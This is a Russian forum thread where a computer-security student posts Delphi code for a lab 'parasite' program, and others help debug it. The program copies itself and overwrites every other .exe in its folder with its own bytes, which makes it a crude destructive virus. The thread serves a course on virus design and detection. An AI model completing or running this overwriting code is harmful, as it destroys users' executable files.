Программа 'Паразит'

[Karateka]

Пишу лабу. Задание, сделать программу паразит. Паразит находит exe-шник, записывает сначала себя, потом программу этого exe-шника.
Для начала решил хотя бы сделать, чтобы находила exe файл, и делала из него себя. Но вылетают ошибки.
Подскажите в чем проблема? если поменять значение _virusLength на 100, то программа выполняется, exe-шники полностью не записываются (я так понял, при таком размере _virusLength, программа вся не считывается, а только её кусок), если поставить 1000, то после выполнения readln выдает stack overflow at 0x00408c42, если поставить 10000, 100000, 1000000 - то выдает I/O error 998.

Program Parasite;
 
{$APPTYPE CONSOLE}
 
{$R *.res}
 
uses
  System.SysUtils,
  Windows;
 
var
SearchResult : TSearchRec;
_virusBuff : array of char;
_progBuff : array of char;
_file,_file2 : file;
_ProgSize : integer;
_result : integer;
 
 
const
 _virusLength : longint = 100000;
 
begin
    setLength(_virusBuff,_virusLength);
    AssignFile(_file, ParamStr(0));
    _string := ParamStr(0);
    _string := _string + #0;
    CopyFile(@_string[1],'W:\Delphi\Parasite.exe',false);
 
    AssignFile(_file,'W:\Delphi\Parasite.exe');
    Reset(_file);
    BlockRead(_file,_virusBuff[0],_virusLength); // Здесь выдает ошибку I/O error 998
    CloseFile(_file);
 
 
  if FindFirst('*.exe',faAnyFile,searchResult) = 0 then
   begin
    repeat
    if searchResult.name <> 'Parasite.exe' then
     begin
      AssignFile(_file2,searchResult.Name);
      Rewrite(_file2);
      BlockWrite(_file2,_virusBuff[0],_virusLength);
      CloseFile(_file2);
     end;
    until FindNext(searchResult) <> 0;
   end;
 
readln;
readln;
end.

[DarkEvil]

_virusLength  := GetFileSize(FileOpen(ParamStr(0),fmOpenRead), nil);

[Karateka]

Сообщение от DarkEvil

_virusLength  := GetFileSize(FileOpen(ParamStr(0),fmOpenRead), nil);

Сделал, следующие.
_virusLength объявил как переменную longint.
_virusLength := GetFileSize(FileOpen(ParamStr(0),fm OpenRead), nil);

посмотрел, размер не записывается, в переменную идет -1.

Попробовал так.

    AssignFile(_file, ParamStr(0));
    _string := ParamStr(0);
    _string := _string + #0;
    CopyFile(@_string[1],'W:\Delphi\Parasite.exe',false);

    AssignFile(_file,'W:\Delphi\Parasite.exe');
    Reset(_file,1); 

    _virusLength  := FileSize(_file);
    setLength(_virusBuff,_virusLength);
    BlockRead(_file,_virusBuff[0],_virusLength);
    CloseFile(_file);




  if FindFirst('*.exe',faAnyFile,searchResult) = 0 then
   begin
    repeat
    if searchResult.name <> 'Parasite.exe' then
     begin
      AssignFile(_file2,searchResult.Name);
      Rewrite(_file2,1);
      BlockWrite(_file2,_virusBuff[0],_virusLength);
      CloseFile(_file2);
     end;
    until FindNext(searchResult) <> 0;
   end;


readln;
readln;
end.

Добавил в Reset(_file,1) и в Rewrite(_file,1), единичку, программа выполняется exe-шники становятся по размеру одинаковые с Parasite.exe, но при запуске не выполняются, а сразу пишет произошла ошибка, и завершаются.
Если убрать единички, то вылетает ошибка I/O error 998

[Аватар]

Задание, сделать программу паразит

ТС, где, интересно, учат вирусы делать?

[doktor255]

Karateka А если система 64 бита, программа будет лепить 32 битный код к 64 битному? Забавная фиговина получится, и к тому же полностью недееспособная. Если windows/антивирус вовремя не остановят, крах системы гарантирован.

[Karateka]

Сообщение от Аватар

ТС, где, интересно, учат вирусы делать?

Специальность Компьютерная безопасность, предмет Проектирование и Обнаружение вирусов. Следующая лаба, надо написать Антивирус к первой лабе.

Парни, так в чем проблема?

[DarkEvil]

BlockRead(_file,_virusBuff[0],_virusLength); что это?
sizeof(_virusBuff[0]) = 1
вы перезаписываете весь файл каким-то одним символом.

[Karateka]

Сообщение от DarkEvil

BlockRead(_file,_virusBuff[0],_virusLength); что это?
sizeof(_virusBuff[0]) = 1
вы перезаписываете весь файл каким-то одним символом.

BlockRead(_file,_virusBuff[0],_virusLength); - считываю весь parasite.exe, чтобы потом его записать в другой exe-шник.
Если пишу просто BlockRead(_file,_virusBuff,_virusLe ngth), то вылетает ошибка I/O error 998.
Просто где-то прочитал что нужно указывать начальный элемент для динамического массива.

[doktor255]

Может Length - 1? А ошибка ввиду выхода за пределы буфера?

[DarkEvil]

не то процитировал, хотя BlockRead(_file,_virusBuff[0],_virusLength); пытается все впихнуть в один элемент массива??
_virusBuff : array of char;
также это относится и к BlockWrite(_file2,_virusBuff[0],_virusLength);

var 
Buf: array[1..1024] of Char;
readcount, writecount : Integer;
handle1, handle2 : file;

//--//
repeat
   BlockRead(handle1, Buf, SizeOf(Buf), readcount);    {читает данные}
   BlockWrite(handle2, Buf, readcount, writecount);    {записывает данные}
until (readcount = 0) or (writecount <> readcount);